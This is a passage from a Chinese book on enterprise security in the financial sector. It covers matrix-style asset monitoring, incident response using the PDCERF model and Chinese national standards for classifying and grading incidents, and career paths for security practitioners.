清单准确性也大大提升,不再单纯依靠人员的责任心和运气,而是通过资产缺失的自动发现机制,来督 促大家及时更新资产。目前这套矩阵式监控机制运转良好,提升了安全监控的覆盖率和有效性。 矩阵式监控的方法具有普遍适用性,可用性监控等都可以参考借鉴,技术实现上来说没有任何问 题。发现问题可视化和后续持续改进跟踪的机制,不仅确保了安全运营有效性和可持续性,也适用于绝 大多数运营领域。 矩阵式监控解决的问题,本质上属于人因误操作领域,有关如何更专业地避免人为因素导致的生产 故障,请了解“核电厂人因管理”,国内该领域研究走在前列的是某大学的人因研究所,某些金融机构已 经在向该领域最专业行业跨界学习。 有两点体会如下: ·再优秀的安全技术也要尽可能做到“傻瓜化”,要像电视机一样,80岁老人会开,2岁小朋友也会开。 安全产品或安全措施,如果动不动有强前置条件,比如需要能看懂告警的安全人员才能维护,那这个安 全产品或安全措施没法持续安全运营,还不如不要。企业安全建设中,技术往往不是最头疼或首要考虑 的问题(往往也不是问题),首要考虑的是能否有效发挥功能。再有效的监测技术,如果没有坚持安全 运营,就像是马奇诺防线,好看不顶用。接地气的“笨办法”往往最有效。安全负责人对安全产品和厂商 少一些抱怨,多一些坚持。 ·矩阵式监控思路实现中,最终展现在一线人员前的只有几个小人图标(红色或绿色),这是复杂设 计后的简单展现,让不具备太强安全能力的人员也能成为对抗攻击者的力量,这是安全工程化的能力, 安全工作应尽可能地展现简单之美。 22.3 小结 本章介绍了安全资产管理面临的问题及管理方案,安全资产管理对于缩小攻击面,防范事前威胁以 及事中处置,都是投入产出效益较高的安全工作之一,值得精耕细作。 第23章 应急响应 Gartner提出了面向下一代的安全体系框架—自适应安全框架(Adaptive Security Architecture, ASA),如图23-1所示。该框架从预测、防御、检测、响应四个维度,强调安全防护是一个持续处理的、 循环的过程,细粒度、多角度、持续化地对安全威胁进行实时动态分析,自动适应不断变化的网络和威 胁环境,并不断优化自身的安全防御机制。 图23-1 Gartner自适应安全框架 换而言之,Gartner认为企业的安全问题或漏洞一定会不可避免地被外部发现并被人利用,那我们该 如何更有效地进行应急响应呢?应急响应其实有不少学问。 23.1 概述 关于应急响应,有针对性的国家标准可供参考: ·GB/T 24363-2009《信息安全应急响应计划规范》。 ·GB/Z 20985-2007《信息安全事件管理指南》。 ·GB/Z 20986-2007《信息安全事件分类分级指南》。 针对金融行业,银监会印发过《银行业重要信息系统突发事件应急管理规范(试行)》《银行、证 券跨行业信息系统突发事件应急处置工作指引》等。 此外,PDCERF模型将应急响应分为准备(Preparation)、检测(Detection)、抑制(Con- tainment)、根除(Eradication)、恢复(Recovery)、跟踪(Follow-up)六个阶段: 1)准备。在事件未发生时的准备工作,包括策略、计划、规范文档及具体的技术工具和平台。 2)检测。初步判断是什么类型的问题,受影响的系统及严重程度。 3)抑制。限制攻击、破坏所波及的范围,通俗地讲叫“止血”。 4)根除。对事件发生的原因进行分析,彻底解决问题,避免在同一个问题上再次犯错。 5)恢复。把业务恢复至正常水平。 6)跟踪。落实整改措施并监控是否有异常,即安全运营中的持续改进。 有了这些标准、模型或指引,企业需要结合自身实际情况制订自己的应急响应规范,包括事件的分 类分级、组织与职责、处理流程,甚至安全事件分析处理结果模板等。 23.2 事件分类 GB/Z 20986-2007《信息安全事件分类分级指南》根据将信息安全事件的起因、表现、结果等,将信 息安全事件分为恶意程序事件、网络攻击事件、信息破坏事件、信息内容安全事件、设备设施故障、灾 害性事件和其他信息安全事件等7个基本分类,每个基本分类包括若干个子类。 1)恶意程序事件,包括计算机病毒事件、蠕虫事件、特洛伊木马事件、僵尸网络事件、混合攻击程 序事件、网页内嵌恶意代码事件、其他有害程序事件。 2)网络攻击事件,包括拒绝服务器攻击事件、后门攻击事件、漏洞攻击事件、网络扫描窃听事件、 网络钓鱼事件、干扰事件、其他网络攻击事件。 3)信息破坏事件,包括信息篡改事件、信息假冒事件、信息泄露事件、信息窃取事件、信息丢失事 件、其他信息破坏事件。 4)信息内容安全事件,包括违反宪法和法律、行政法规的信息安全事件,针对社会事项进行讨论评 论形成网上敏感的舆论热点,出现一定规模炒作的信息安全事件,组织串联、煽动集会游行的信息安全 事件,其他信息内容安全事件。 5)设备设施故障,包括软硬件自身故障、外围保障设施故障、人为破坏事故、其他设备设施故障。 6)灾害性事件。 7)其他信息安全事件。 在企业内部,我们往往更多接触的是前几类,我们按实际情况结合自己的理解对信息安全事件进行 梳理,将其分为三个大类,下面分别阐述。 1.针对互联网应用的攻击事件 互联网应用由于对外网开放,也最容易被黑客盯上,加上各种自动化的扫描工具的出现,每天系统 会监测到各种各样的扫描请求,扫描器会尝试各种Web漏洞请求,如SQL注入、XSS攻击、上传漏洞、目 录遍历、特定文件请求等。针对一些登录接口,黑客会进行暴力破解、撞库攻击;针对一些URL或API接 口,黑客会遍历请求以获取更多信息。若进一步深入到系统中,提权、安装后门、清理日志等也时有发 生。若这些都没成,黑客还有可能为了获利采取DDoS攻击。 2.针对企业内网的攻击事件 企业员工一般都会通过邮件、上网、U盘拷贝等渠道和外界保持联系,而这三个点也容易被外部攻击 者利用。邮件里包含恶意文件,用户点击就被会被控制;用户访问的网页可能会包括漏洞挂马页面,用 户不小心就会中招;外部人员U盘插到内部电脑上也可能会使机器感染恶意程序,恶意程序进入到企业内 网之后,会进一步探测网络结构,寻找最有价值的攻击目标和系统,达成目标后可能会将需要的信息通 过各种手段外传出去。近年流行的勒索软件则更简单粗暴,直接加密用户文档数据,并要求受害者支付 一定数量的比特币获取解密密钥。 3.来自内部的信息泄露事件 除了来自外部的攻击,还有可能存在内部员工无意或有意的信息泄露事件。 曾有一个被处理事件是,内部员工把一份文件遗忘在复印机上,被其他员工拍照发到朋友圈。更多 来自内部的有意泄露可能隐藏在背后。 23.3 事件分级 事件分级的依据是受影响的系统重要程度及问题严重程度,很明显,核心业务系统、边缘业务系统 和非业务系统要区别开来,直接获取到系统权限、仅获取Webshell权限、只是类似phpinfo信息泄露,也 是完全不同的。 23.4 PDCERF模型 1.准备 PDCERF模型第一阶段即是准备工作,包括应急响应的规范制度、具体技术工具和平台的搭建运营 等。制度规范制定后需要真正能落实执行,并依靠模拟演练来提升处理效率。技术工具和平台有所区 别,工具是类似于静态编译的ls、lsof、ps、netstat以及一些快速分析日志、扫描文件特征的脚本等,这些 到了目标机器上就会发挥作用;而平台则是在企业部署了FW、NIDS、HIDS、WAF等系统后,将各种安 全系统在终端、网络、应用上采集的日志集中送到平台进行关联分析(如SOC系统)。 2.检测 发生事件后,需要判断受影响的系统是什么,事件的性质是什么,这就是检测阶段。基于初步的分 析结论,再采取不同的处理流程进行应急处置。 如互联网某边缘系统被攻击,在SOC系统上报警有扫描行为,可能只需要运营人员简单拒绝就可以 了,安全自动化做得好的企业可能就自动拦截了,不需要介入应急响应流程。 进一步,这个边缘系统报警有执行敏感指令而且父进程属于Web应用,这可能就需要应急人员开始 处置了,但是否上报,上报到哪个层级,估计只是汇报给安全主管就可以了。 再进一步,如果网银系统有大量撞库攻击事件,同时有客户报障其账户因错误多次被锁,那只汇报 给安全主管肯定不合适了。 检测工作除了要对业务了解,还有包括一些技术工作在内,比如流量大报警,是正常业务或发布导 致还是有攻击,攻击是常规的DDoS、还是CC、还是机器被控制向外发包;再比如一封恶意邮件投递进来 后,利用的是什么漏洞,回连地址是什么,以上这些,要利用一些技术手段去检测。 3.抵制 有了前面的判断分析,出具针对性的“止血”措施,便是抵制阶段要做的工作。外网来的攻击,是封 来源IP还是流量清洗,针对内网的攻击是在出口封堵还是在终端上干涉,都是执行层面的工作,日常多 演练,尽量自动化,会极大地提升效率。 4.根除 针对事件进行根因分析,定位到真正的原因。比如前面“检测”一节说的边缘业务系统被人获得了 Webshell,对应的漏洞是什么?通过日志分析还原出整个入侵轨迹,进而发现到底有什么漏洞,便于接下 来的整改工作。 5.恢复 恢复正常业务,这个过程不再赘述,前提是问题得到有效解决。 6.跟踪 发生安全事件,往往意味着安全系统不完善或者运营过程中存在失效情况,对事件进行根因分析, 进而发现现有安全控制手段的缺陷,是一个很好的提升机会。 比如,前面WAF未拦截而后触发了IPS报警,就可以针对性地优化WAF策略;某页面有手机号未做 脱敏处理被外界发现,就可以针对性地发现从开发、测试到运维侧的各种问题,落实到安全运维上,针 对此信息泄露未能有效监测也是一个提升改进点。最后这些改进点,是否都落实到人,期限是多少,是 否有效?这就是本阶段需要做的工作了。 23.5 其他话题 在实际的工作过程中,会不会有这样的场景:监管收到一个关于某金融机构的漏洞报告而该金融机 构本身却完全不知道,这会是怎样的一种体验?再试想,高层领导收到外部某安全公司的邮件说你的机 构有漏洞可能会被人利用,他一定会非常被动。 因此,企业除了自身在安全防御技术、运营上的努力外,还需要有一些其他层面的工作,比如沟 通、人脉、情报等。这面方可以向互联网公司学习,互联网公司基本都建有自己的SRC,白帽子可以通 过SRC平台报漏洞还有奖励,一方面借助白帽子发现企业漏洞从而提升企业安全性,另一方面减少漏洞 被曝光在不可控平台的概率从而减少被动局面。 23.6 小结 不管采取了多么严密的安全管控措施,企业最终都有可能面临信息安全事件,在组织、人员、技术 等各方面,做好应急响应的准备,并按照一定的应急响应程序做好组织工作,方可从容应对。 第24章 安全趋势和安全从业者的未来 工作日久,会接到一些朋友关于就业、职业规划的问题。自从开通微信公众号“君哥的体历”以来, 也会收到后台留言,提及职业规划,以及有关工作迷茫的问题。比如,去一线城市还是回老家就业?我 现在做的工作是XXX,感觉没前途,我很迷茫,我该怎么办?我现在有两个机会,一个是去大公司的 XXX,一个是小公司的XXX,我该选择哪个? 上述大部分问题,笔者能获得的信息比较有限,因为每个人的成长经历、性格偏好、所处环境、家 庭背景等情况都不一样,在不了解实际情况的前提下,很难给出最合适的建议。能做的,只是尽量提供 一些通用的规则和原则,供提问者参考。 人的一生会面临很多选择,判断选择的因素应该是:趋势,职业规划,未来收益。因此,本章从职 业规划方法论、安全趋势和安全从业者的未来等几方面,分享一些经验体会和思考。 24.1 职业规划方法论 1.社会分工 亚当·斯密在《国富论》写道:人的天赋差别并不大,造成人们才能上重大差别的是分工的后果。哲 学家和挑夫之间的差别,就是职业分工的结果。社会分工在我们学习时就已经开始了,我和同学在参加 高考时,大部分都不太清楚计算机科学与技术、材料科学、电气工程自动化等专业会在未来对自己就业 和职业发展带来怎样的影响,但职业分工已经开始了。 现代工业发展,将业务流程化、标准化,催生了一个个非常细分的岗位,一方面大大提高了社会生 产率,另一方面由于社会分工的高度细化,大部分劳动者只能在流水线前日复一日不知疲倦地拧着那颗 螺丝钉,可替代性很强,因此价值很低。保安、柜员、前台、应收应付会计,甚至是比较底层的码农、 一线人员等。而且由于这种重复机械性劳动的禁锢,劳动者还失去了学习的机会,这意味着他很难提升 自我的内在价值。 举个例子,笔者原来在一家全国性股份制银行信息技术部工作,近距离观察过IT部门负责采购的同 事们的工作状态,因为IT部门的项目比较多,采购同事们工作任务比较重,因此分工比较细,包括需求 审核、采购文档录入和审核、供应商管理、采购谈判、合同签订和管理等几个岗位。负责文档录入、合 同管理的同事每天要面临大量的采购文档和数据录入,经常加班到很晚,没时间学习新的技能充电,回 家就躺床上一动不动了。对于他们来说,个人核心价值的提升,就会相对比较困难。 反之,一个人的不可替代性越强,就越有价值。构建个人核心竞争力,一定要在自己的专业领域做 出深度,成为专家。同时兼顾知识的广度,在相关的专业领域上扩展自己的知识结构。选择工作的时 候,规避主要内容都是dirty work的工作,最完美的状态就是每时每刻都能学到新的知识,按照“10 000小 时”定律努力下去,就有可能成为某行业的顶尖人才。 小结一:尽可能规避社会分工给个人职业发展带来的不利因素,尽快塑造工作中的个人价值与不可 替代性。 2.给职业生涯上杠杆 是不是每个人坚持按照“10 000个小时”定律努力下去,就能成为顶尖人才,从此走上人生巅峰呢?显 然不是。一方面,个体的差异是存在的,有些人适合从事技术类岗位往深度发展并成功,有些人并不适 合。另一方面,高阶岗位除了需要技术专家以外,更多需要全面解决问题的复合型人才。 所以说,不管是做技术,还是做管理,或者做各种一线运营工作,你能创造的价值都是有明显的天 花板的。如果你从事的工作职能单纯是靠出卖脑力和体力,那么就算是能力再强,天赋再高,24个小时 不睡觉,一个人最多也就顶俩、顶仨,这是人的生理极限所决定的,那么你也就创造了两三个人的价 值。如果你想迈入更高职级职位,必须突破个人生理极限瓶颈。 如果是“搬砖”性质的工作,长年累月地加班,累死累活,也就是砖搬得又快又好又多,发展空间有 明显天花板的,再进一步就要猝死了。会计行业很多审核发票报销的岗位、银行的柜员、四大会计师事 务所的安全审计等日复一日重复工作且得不到太多价值提升空间的岗位,随着人工智能发展,未来能保 住饭碗就算不错了,这是市场供需和工作难度决定的。 破解困境的方法是给你的职业生涯上杠杆,用你的24个小时去撬动许许多多别人的24个小时,你才 能用你那渺小的身躯创造出更大的价值。组建团队,团队作战产出更多绩效是上杠杆;优化改进现有工 作机制避免类似问题再次发生是上杠杆;拓宽工作范围承担更多职责是上杠杆;合理利用和优化资源配 置解决实际问题还是上杠杆。如果说在自己的专业领域做出深度,成为专家是1,给职业生涯上杠杆就是 1后面的0,给职业生涯上杠杆,你可以十倍百倍地创造价值。很多安全传奇人物,技术上到达一定巅峰 后,转而从事各类“安全生态”建设,推动某个安全领域往前发展,这也是善用团队力量,优化配置资 源,从解决单纯的点状问题转向批量彻底解决一类问题。庄子说,“君子生非异也,善假于物也。”安全 从业人员,也可以审时度势建设各类“安全生态”,善用团队力量,优化配置资源,从而创造更大价值, 那其职业生涯也将取得更大成就。 小结二:个人单独能创造的价值有明显天花板,给职业生涯上杠杆,善用团队力量,优化配置资 源,创造更大价值,职业生涯将取得更大成就。 3.像创业那样去打工 周鸿祎说他当年工作,与别人最大的不一样就是,从来不觉得他是在给别人打工,他觉得是在为自 己干。因为他干任何一件事情首先考虑的是,通过干这件事情能学到什么东西,学到的东西是别人夺不 走的。塑造个人价值的不可替代性,给职业生涯上杠杆以创造更大价值,如果说这两方面属于职业规划 的战略,那么像创业那样去打工,就属于职业规划的战术。 人的本性是懒惰的,科技进步的本质是为人类提供更“懒惰”的生活方式。基于这一前提,个人是很 难突破本我,实现超我的。为什么有的人像打了鸡血一样勤奋不辍,为什么有的人孜孜以求,为什么有 的人对于困难甘之如饴?因为这类人不是在为别人打工,是在为自己打工,是在创业。由要我干,转变 为我要干,就是在创业,在为自己的未来打工。像创业那样去打工和其他打工的区别是,前者不断在学 习,提升自身价值,后者在日复一日的重复劳动中消耗青春。 学东西,在工作中分为被动学习和主动学习。被动学习是指,为了完成日常工作任务和弥补知识欠 缺,你不得不进行学习。需要注意的是,这种学习其实是十分高效的,因为为了生存,人容易调动起学 习的积极性,因此,一份好工作,它的被动学习空间应该越大越好。大部分人,如果不是环境所迫,一 般都不会主动去学习,容易陷入混吃等死的工作生活状态。工作的流水线程度越高,被动学习的空间越 小。什么样的工作被动学习空间小?那些一成不变,不断重复,工作非常清闲,完成过程不是那么“痛苦 不堪”,这样的工作被动学习空间比较小。 为什么大部分行业,销售类的岗位收入都高于其他同等要求的岗位?因为不同行业不同发展阶段的 客户需求千奇百怪,会遇到和需要解决相关的各类令人棘手的问题,这些都是很需要经验的非结构化问 题。 主动学习,指平常工作可能用不上,主动储备用于以后使用。对大部分人来说,如果没有环境逼 迫,加之日常繁重的工作,很难做到持之以恒、积极地主动学习,而且人的时间、精力总是有限的,如 果对自己所处行业的大局和趋势缺乏了解,一般人很难能框定一个比较合理的学习范围,万一学了一堆 用不着的职业技能,也会付出巨大的机会成本。主动学习不如被动学习效率高,但一旦建立起主动学习 的能力和习惯,持之以恒地坚持,机会一定会垂青有准备的人。 每个人对人生的追求都不同,有的人喜欢平淡简单知足的生活,有的人立志成为呼风唤雨的大佬, 不同的人生目标选择的道路自然不同。但千万不要因为贪图安逸而做出选择,因为短期的安逸必然会让 你付出长远的努力来弥补。 小结三:抱着创业的心态去打工,个人利益与公司利益正好能一致,那么工作积极性会大大提高, 客观上也会为公司创造价值。 4.安全人员职业发展路径 要回答安全人员职业生涯发展路径问题,我们先看看安全岗位分类,根据安全岗位所需的智商情商 划分成象限图如图24-1所示。 图24-1 安全岗位所需的智商情商划分成象限图 笔者认为适合有志于安全从业的大学毕业生的职业规划思路如下: (1)规避A类工作 图24-1中,A类工作属于不需要太多技能和经验,且日复一日重复度极高的工作岗位,但很不幸,大 部分安全从业者就像刚申请游戏账号的新手一样,都是从A类工作开始安全之旅的。A类岗位是必经之 路,就像刚毕业的人总会经历一个干苦活累活杂活还没有太多成就感的阶段,想尽量走出A类岗位的玩 家,会有意识地做到: ·尽可能将岗位工作标准化、自动化,节约人力,空出时间干更多有提升价值的工作和学习。 ·将交给的工作认真做到位,经常利用下班时间钻研,知其然更知其所以然,把原理和本质吃透。 ·总结经验教训,反向改进优化机制,提高效率,避免类似问题重复发生。 在A类岗位工作是新手玩家必经的一道坎,很多玩家倒在这道坎——从业十多年还在从事基础类工 作。只有顺利且迅速地迈过这道坎,才能打开B类和C类岗位工作,并最终迈向D类岗位工作。 (2)尽量从C类做起 为什么不是尽量从B类工作做起,是因为在中国大部分应届毕业生情商还不够高,在个人品质上,普 遍脸皮薄、害羞、内敛,不如西方特别是欧美人热情自信,如果先从B类工作做起往往会最终感到不适 应,而那时技术可能早就荒废了,从管理人生的风险敞口角度是不太合理的。C类工作有两个特点:一个 是学习空间大,这样在工作上花的时间会凝结成自身的价值;二是会经常需要解决非结构化的问题。 大部分安全从业人员都面临在C类和A类岗位之间做出选择,比如金融企业大多会购买一些安全设 备,如IPS、WAF、数据库审计之类,A类岗位安全设备管理员的工作内容就是确保设备正常开关机,按 照厂家建议修改一下默认规则配置,流量镜像、日志告警正常,偶尔看看高风险告警情况,定期出几份 报告,加黑几个IP。C类岗位的工作内容是,先搞清楚安全设备底层原理,测试设备全部安全功能并知晓 各功能局限以及关键有用功能,搞清楚此类安全设备能够防护的攻击类型和常见绕过方式,针对性地配 置防护规则和告警规则并作出优化,对于高风险告警一一进行安全分析并反向优化,对于异常进行溯 源、定位、清除。明显C类岗位比A类岗位对安全有效性更有价值。选择决定了未来。 即便是从事C类岗位工作也很快就会遇到发展的瓶颈。原因有两个: ·从企业角度来说,某一业务流程一旦变得越来越难杂,企业就会有将其不断肢解细化的强烈内在冲 动,以降低对核心员工的依赖。比如,安全分析中的安全事件应急处理,企业希望能够将安全分析的工 作分解,流程化、标准化和工具化,一部分安全分析的工作能够交由技术功底和经验不是那么多的初级 人员去完成,慢慢地安全事件应急处理就是照着标准的工作书,拿着标准的工具、流程跑一遍就好了。 现在绝大多数的安全厂商的应急处理就是这样的。 ·从个人角度来说,工作一两年之后时间的边际效用在降低,不像刚入行每天都可以学到新的知识, 重复机械劳动逐渐成为常态。在这种情况下,工作所花时间并不会让你的人力资本增值,反映到薪酬上 就是工资开始顶到了天花板停滞不前。更糟的是,一旦你花了一辈子去学的赖以谋生的技能技术一旦被 社会淘汰,带来的后果可是灾难性的。就像二十年前搞BP机一样,每个行业莫不如此,技术更新有快有 慢,IT行业技术更新尤其快,安全行业更甚,只有不断学习、时刻保持着一种危机感才能立于不败之 地。 (3)B类要尽可能覆盖范围广 B类岗位特点是对技术(智商)要求不是特别多,但对情商要求比较多,比如IT内控合规类岗位、安 全审计类岗位,这类岗位要想出头,必须在工作内容覆盖范围广度方面拓展,比如安全管理岗的职级高 低,在于其Cover的安全管理范围大小。 (4)D类是安全从业人员发展的终极目标 D类是安全从业人员发展的终极目标,建议先从C类做起,慢慢承担起B类工作,双剑合璧之时便是 成功之日。 24.2 安全环境趋势和安全从业趋势 1.安全环境趋势 在2010年以前,我们和国内金融行业同仁交流的时候,做安全的思路普遍还在监管合规+设备部署的 阶段。2010年后,由于网上银行、移动金融的快速发展,以及国内互联网安全形势的进一步严峻,金融 行业的安全需求开始发生深刻变化,需要有效解决实际安全问题,对安全攻防、安全运营的需求逐渐增 多。安全环境变化趋势体现在以下几点: ·监管从合规为主,技查为辅,转向合规、技查双轨并进,不断提升技查比重,以技查促合规落地。 银监会、证监会均会聘请专业的第三方机构对商业银行、证券期货公司的互联网系统进行远程渗透,甚 至直接渗透进办公网和交易网,这将是未来监管科技的“新常态”。 ·应用安全、内网安全和数据安全,从企业安全建设关注度和投入度来看,是从高到低,这与攻击者 攻击应用安全的门槛相对内网安全、数据安全低很多有关,攻击门槛越低,攻击从业者越多,发现的问 题也越多,防守方投入也越多。从防护难度上看,这三类是从低到高,因为防守方通常会首先选择防守 难度较低的应用安全开始。 ·企业安全建设的安全岗位范围从安全设备管理向安全有效性、安全运营扩展。越来越多的企业在安 全负责人意识到,安全设备只是工具,要管理好安全设备,真正起到防护能力,实现安全有效性,必须 通过安全运营来实现。这点体现在越来越多的企业在招聘企业安全负责人、安全岗位人员时,都强调有 实际安全攻防对抗经验和安全事件分析经验,能够讲清楚安全价值实现思路。 ·业务和信息系统不断云化。各类业务和信息系统上云是不可阻挡的趋势,公有云、私有云,突破传 统安全防护边界,面临新的挑战。 ·安全防护向自动化、智能化迈进。 ·安全重心向前端业务靠近。在IT内部,安全防护越来越向研发深入,向需求立项、架构评审、代码 开发阶段渗入。在IT外部,安全也向支撑业务发展、打击黑灰产、业务风控靠近,贴近前端和业务,安 全才有价值。 ·向互联网行业和公司学习。 ·金融企业安全团队规模爆炸性增长,团队定位3~5年内走向公司二级部门,安全团队负责人职级职 位将成为一级部门副总。 2.安全从业趋势 为适应上述安全环境变化趋势,金融行业安全从业趋势体现在以下几点: ·至少5年内,对安全从业者的需求还是相当大的,甚至供不应求。如果需求大于供给,那么对于供给 方各类要求必然下降,不知道这对于安全从业者来说是好消息还是坏消息。 ·人还是安全中最重要因素。一位优秀的安全团队成员,远比一两款安全产品、安全设备重要,再好 的安全防护也需要人设计、落地实施、运营优化。 ·无论是既懂安全又会开发点小工具、还爱折腾的安全“全栈工程师”,还是聚焦于xx万IDC规模下的 入侵检测的某个特定领域的安全专家,都会有不错的发展前景。 ·目前国内并没有CSO文化,大部分企业也只是在IT部门设置安全团队,因此国内金融企业基本上都 没有CSO岗位,只能称作“企业安全负责人”。随着安全对IT、对公司的重要性不断提升,以及监管要求提 升,5~10年内,重视安全的金融企业必然会设置CSO岗位。 ·安全从业获得回报和解决实际问题产生的价值,与该类问题所需成本高低有关。笔者听过很多抱 怨,如安全团队不受重视等。安全团队不受重视是结果,而不是原因。比如大部分企业资产管理做得并 不好,安全资产管理更是糟糕。如果在爆发Struts2漏洞时,安全团队能够迅速列出一张受影响清单,以及 受影响业务系统,并给出修复建议和顺序,那么安全团队的价值就体现出来了,反之,若只能转发一下 漏洞预警信息,公司内哪些业务会受影响、业务系统修复可能带来的问题等一概不管,安全团队的价值 就极其有限。所以安全团队的价值和其解决实际问题产生的价值有关。 ·能够采用各种方式,推动企业安全防护能力不断提升的从业人员将获得更大发展。企业里安全团队 和其他团队的冲突点主要在于大家对安全、可用性和业务的平衡点认识不同。如何在各类资源有限、各 种纷繁复杂的情况下,说服、推动不同利益方取得一致意见,提升安全防护能力,取得平衡,将是安全 从业人员的重要能力。 ·创业也是不错的选择。 24.3 安全从业指南 1.安全从业者的职业发展路径 安全从业者的职业发展需要根据自身实际情况而定,推荐的发展路径参考图24-2。 以下分别介绍各类方向发展情况。 2.企业安全从业人员(甲方) (1)总部IT安全团队员工 a.安全技术类岗位。 如果是从事安全开发、安全攻防等技术类岗位,职业生涯初期可以在应用安全、内网安全、数据安 全的某2~3个领域深入,越深入越好,目标是成为金融行业的某领域技术专家,顺利的话可以成为技术组 组长、实验室负责人;中期目标是成为大企业高级开发者或中小企业安全负责人;终极目标是走向CSO 高管职位。 关于大企业高级开发者与中小企业安全负责人的路径选择问题,赵彦在“行业风口上的安全人员职业 规划”分享的以下内容可供参考: 大厂需要的经验譬如都是xx万IDC规模下的入侵检测,或者x万研发人员提交代码仓库的SDL,大部 分时候会要求应聘者已经具备相关领域的成熟经验。小公司跟大公司不同,安全团队即使有其规模也不 会很大,安全人员往往需要身兼数职,面对一揽子问题给出最高性价比方案,这类性价比高的方案往往 是逮着某个开源软件就上,而不会过分计较其功效。有些公司虽然也有安全团队,但必须大量地依赖商 业产品和解决方案,自己只负责简单的安全产品运维。同时,中小企业招聘到高级安全技术人才的可能 性不是很高,也间接决定了不可能在结果上深挖。于是一个既懂安全又会开发点小工具还爱折腾的“全栈 工程师”在这种场景下就吃香了;但不好的是,一旦你受中小企业欢迎,那么你的技能会越来越聚焦泛而 不深的安全需求,你在可预见的职业生涯里都可能跟大公司无缘了,因为你一直在发展小公司急需而大 公司不需要的技能,同时即使在小公司做到安全负责人但收入只有大公司高P的几分之一。人有时候会放 自己一马,去个小公司舒舒服服地当个安全负责人,至少不用在日新月异的技术上孜孜以求、苦苦学 习,也不用被成为高P的愿景所绑架,毕竟只有少数拔尖者最终才会成为高P。从比较积极的角度看,过 早地放弃高P路线转向中小企业安全负责人,犹如放弃攀爬一座1000米高的山,转而爬一座600米的山, 会舒服一阵;但会更早地迎来半衰期的中点,更早地迎来下坡路。 图24-2 推荐的安全从业者职业发展路径 b.安全管理岗位。 安全管理类岗位包括安全设备运行维护,安全合规、政策、制度,风险管理,监督检查等。职业生 涯初期可以在安全运维、设备运维方面入手,掌握一些基本的安全技术领域背景知识,为后期走向偏管 理类方向打下基础;中期目标是成为中小企业安全负责人、IT部门内控合规负责人,也可能成为公司风 险管理、合规法务、稽核审计部门内,与IT相关业务的负责人,比如IT风险管理组长、IT审计组长等;最 终目标是CSO、CRO等高管职位。 安全管理岗切记职业生涯就直接从风险合规方法论起步,有条件的先从事2~3年的偏安全技术类工 作,这样在转向安全管理、风险管理类偏“务虚”类岗位时,能够和工作对象有沟通基础,否则技术人员 觉得你是一个什么也不懂,只会讲方法论的风险管理者。有一定前提基础的沟通是双方协作的必要条 件。另外此处务虚打上了双引号,因为风险管理、内控合规等工作并不务虚(IT风险归类于操作风险, 属于四大风险管理领域之一),金融行业本来就是加工风险的行业(入行时行长培训灌输的第一个理 念),银行更是基于风险定价,因此如何进行各类风险管理其实是个非常专业的技术领域。我们觉得安 全管理务虚,是因为目前绝大多数甲方管理者和乙方咨询服务方,交付的是务虚的工作成果,比如组织 架构、职责、制度、流程等,而如何有效进行风险计量、处置,如何推动风险管控落地,风险管理工具 (RCSA、LDC、KRI)如何有效使用等,这些实施、推动起来比较困难的内容被有选择地忽视和过滤掉 了。 (2)总部第二道、第三道防线部门员工 职业生涯初期总在IT风险、IT合规、IT审计类岗位从事较为初级的工作;中期目标是成为公司风险管 理、合规法务、稽核审计部门内,与IT相关业务的负责人,比如IT风险管理组长、IT审计组长等,也可能 专项乙方如四大会计师事务所的咨询顾问,最终目标是CRO高管职位。 (3)分支机构安全管理员 分支机构安全管理员发展空间有限,需谨慎选择。目标是多从总部和同行业学习一些最佳实践,在 同其他分支机构的安全管理工作比较中处于优势。此类岗位的发展空间在于安全管理员能否承担更多分 支机构的其他非安全类需求。 3.安全公司从业人员(乙方) (1)安全产品研发类 安全产品研发类属于乙方企业的核心岗位人员。中期目标是成为产品线负责人;长远目标是成为主 管技术的副总裁、CTO。 (2)安全技术支持类 安全技术支持类,包括技术服务、技术支持、应急响应等。中期目标是成为技术支持线负责人、XX 分公司负责人;长远目标是成为大区负责人、服务线副总裁等。 (3)安全咨询类 安全咨询类主要分布于四大会计师事务所(德勤、安永、普华永道、毕马威)、Thought-works的IT 信息安全咨询部门。中期目标是成为高级经理;长远目标是成为事务所合伙人。 还有一类咨询是非四大的综合性安全厂商,如360、绿盟、启明星辰,内部也有一些高阶的咨询服务 岗位,如金融行业解决方案部门负责人等。 (4)驻场外包类 驻场外包类岗位主要是安全运营、安全支持类工作。中期目标是成为驻场外包团队负责人;长远目 标是转向乙方内部安全技术或服务类岗位、甲方安全岗位。 (5)销售类 销售类岗位主要在于客户资源和对甲方客户需求的把握,以及需求和解决方案、资源之间的平衡 点。成功的销售类岗位人员能够在资源有限的情况下,找到需求、解决方案与资源之间的平衡点,最大 化客户、公司的价值,而绝不仅仅是销售数字(数字只是结果)。目前纯销售岗位越来越少,前景越来 越不乐观,技术人员转型大销售趋势明显,销售、售前、售后支持、技术支持的界限越来越模糊。中期 目标是成为分公司负责人;长远目标是主管销售的副总裁或创业。 4.其他类从业人员 (1)白帽子、漏洞挖掘从业人员 白帽子、漏洞挖掘从业人员更多是安全人员的第二职业,他们大多都是有第一职业,挖洞只是副 业。也有少数专职人员,转向甲方安全研究、安全防护都是不错的职业规划选择。 (2)安全公司创业 2018年4月13日,网信办和证监会联合关印发了《关于推动资本市场服务网络强国建设的指导意见》 的通知,支持符合条件的网信企业利用多层次资本市场做大做强。加快扶持培育一批自主创新能力强、 发展潜力大的网信企业在主板、中小板和创业板实现首次公开发行和再融资。网络安全公司创业重新站 上了新的风口。五年前更多是乙方安全企业人员出来创业,而最近几年的趋势是很多甲方企业安全人员 出来成立创业公司或加盟创业公司,未来将会看到更多此类情景。参与安全创业的岗位主要是:乙方销 售类、产品研发类岗位(更多是副总裁类的负责人),甲方安全负责人、技术骨干,政府相关部门人 员。 5.安全从业指南 在安全从业人员职业规划中,有以下几点值得注意: ·尽量缩短初期练级所需时间。游戏玩家知道,某些关卡、技能和高等级场所只有玩家到了一定级别 才能解锁,级别没到,只能枯燥地每天打打小怪物,积累经验值。因此职业生涯初期,尽可能缩短初期 练级所需时间。这个缩短不是说一味地往更好更高的职位上跳,不是这个意思。初期练级是最重要的打 基础阶段,在这个阶段,除了每天事务性和分配性工作之外,要勤于思考这些工作的关键是什么,如何 改进优化,以及这些工作和其他的工作之间的关系,整个工作的全貌是什么等等。在这个初级阶段,最 重要的是养成独立思考的逻辑思维、科学的方法论、勤奋细致的工作作风,以及结果为导向的价值观, 如果能以这样的心态和方法去工作,将很快从初级者中脱颖而出。 ·在面临工作选择的时候,规避主要内容都是dirty work的工作。dirty work工作主要特征是事务性、重 